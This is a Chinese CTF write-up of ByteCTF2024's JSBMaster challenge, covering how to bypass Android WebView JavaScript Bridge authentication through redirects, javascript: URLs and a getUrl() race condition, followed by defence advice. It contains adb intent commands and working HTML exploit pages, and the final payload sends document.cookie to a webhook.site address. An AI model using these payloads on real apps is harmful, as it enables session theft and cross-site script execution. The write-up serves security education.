初探JSB鉴权条件竞争绕过--以ByteCTF2024-JSBMaster为例
字数 1620 2025-08-22 12:23:18
JSB鉴权条件竞争绕过技术研究
1. 背景介绍
JSB (JavaScript Bridge) 是Android WebView中JavaScript与Java交互的桥梁机制。在ByteCTF2024的JSBMaster题目中,展示了一种通过条件竞争绕过JSB鉴权的技术。本文将详细解析这一技术的原理和实现方法。
2. 题目分析
2.1 应用功能分析
- 目标:获取
m.toutaio.com域上的flag - 主要组件:
- 接受Intent传递的URL
- 检查URL host是否以
app.toutiao.com结尾 - 提供JSB接口
jsb.base64Decode() - 重写
shouldOverrideUrlLoading()方法
2.2 关键安全限制
-
URL检查:
uri.getHost() != null && uri.getHost().endsWith("app.toutiao.com") -
JSB鉴权条件:
url.startsWith("https://app.toutiao.com/") || url.equals("file:///android_asset/example.html") -
配置特点:
AndroidManifest.xml中设置了android:usesCleartextTraffic="true"- 允许HTTP访问
3. 初始绕过技术
3.1 HTTP重定向绕过
利用应用允许HTTP访问的特性:
http://app.toutiao.com/会进行307重定向并携带原始查询参数- 通过Intent传递恶意URL:
adb shell am start -n com.example.jsbmaster/.MainActivity -W -e url http://app.toutiao.com/?url=http://xxxxx.com/
3.2 JavaScript协议绕过
如果环境未限制协议,可使用:
adb shell am start -n com.example.jsbmaster/.MainActivity -W -e url javascript://app.toutiao.com/%0a%65%76%61%6c%28%61%74%6f%62%28%27...%27%29%29
4. JSB鉴权条件竞争原理
4.1 线程模型分析
- JavaScript与Java交互运行在WebView的私有后台线程
WebView.getUrl()只能在UI线程中调用runOnUiThread()行为:- 当前线程是UI线程:立即执行
- 非UI线程:操作发布到UI线程事件队列
4.2 导航类型差异
-
浏览器启动的导航:
- 通过Java代码直接调用
loadUrl() - 快速设置
pending_entry,getUrl()返回新URL
- 通过Java代码直接调用
-
渲染启动的导航:
- 通过页面内容触发(链接点击、JS跳转等)
- 返回
last_committed_entry,处理流程较长
4.3 条件竞争产生条件
- 发起多个JSB调用,操作进入UI线程队列
- 在队列处理期间,通过
loadUrl()改变WebView状态 getUrl()在鉴权时可能获取到不一致的URL值
5. 攻击实现步骤
5.1 基本攻击POC
<html>
<head>
<script>
function i(){
jsb.base64Decode(`');if(location.href.startsWith("https://app.toutiao.com/")){alert(location.href)}//`);
}
// 发起大量JSB调用
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
// 使用浏览器启动的导航
location.href = "https://a?url=https://app.toutiao.com/";
</script>
</head>
<body>
<p>JSBMaster</p>
</body>
</html>
5.2 关键要素
- 高频JSB调用:增加竞争成功率
- 浏览器导航:使用
location.href触发loadUrl() - 鉴权绕过:在URL检查时获取到新URL
6. UXSS利用技术
6.1 UXSS原理
UXSS (Universal Cross-Site Scripting) 是浏览器级别的XSS,利用浏览器漏洞在所有页面执行恶意脚本。
6.2 题目中的UXSS点
evaluateJavascript() // 直接拼接外部参数执行JS
6.3 跨域攻击流程
- 在
app.toutiao.com域绕过鉴权 - 注入JS代码调用UXSS功能
- 跳转到
m.toutiao.com域 - 在目标域执行恶意代码获取flag
6.4 完整攻击代码
<html>
<head>
<script>
function i(){
jsb.base64Decode(`');if(location.href.startsWith("https://app.toutiao.com/")){
function i1(){
jsb.base64Decode("');if(location.href.startsWith('https://m.toutiao.com/')){location.href='https://webhook.site/...?'+document.cookie}//");
}
setInterval(i1,0);setInterval(i1,0);setInterval(i1,0);setInterval(i1,0);
location.href='https://m.toutiao.com/';
}//`);
}
setInterval(i,0);setInterval(i,0);setInterval(i,0);setInterval(i,0);
location.href = "https://a?url=https://app.toutiao.com/";
</script>
</head>
<body>
<p>JSBMaster</p>
</body>
</html>
7. 防御建议
-
JSB鉴权强化:
- 使用同步URL检查机制
- 结合多种验证方式(如referer、页面状态等)
-
线程安全:
- 避免在UI线程进行关键安全决策
- 使用线程安全的数据结构
-
配置加固:
- 禁用明文流量(
usesCleartextTraffic="false") - 限制允许的URL协议
- 禁用明文流量(
-
UXSS防护:
- 对
evaluateJavascript输入严格过滤 - 实现内容安全策略(CSP)
- 对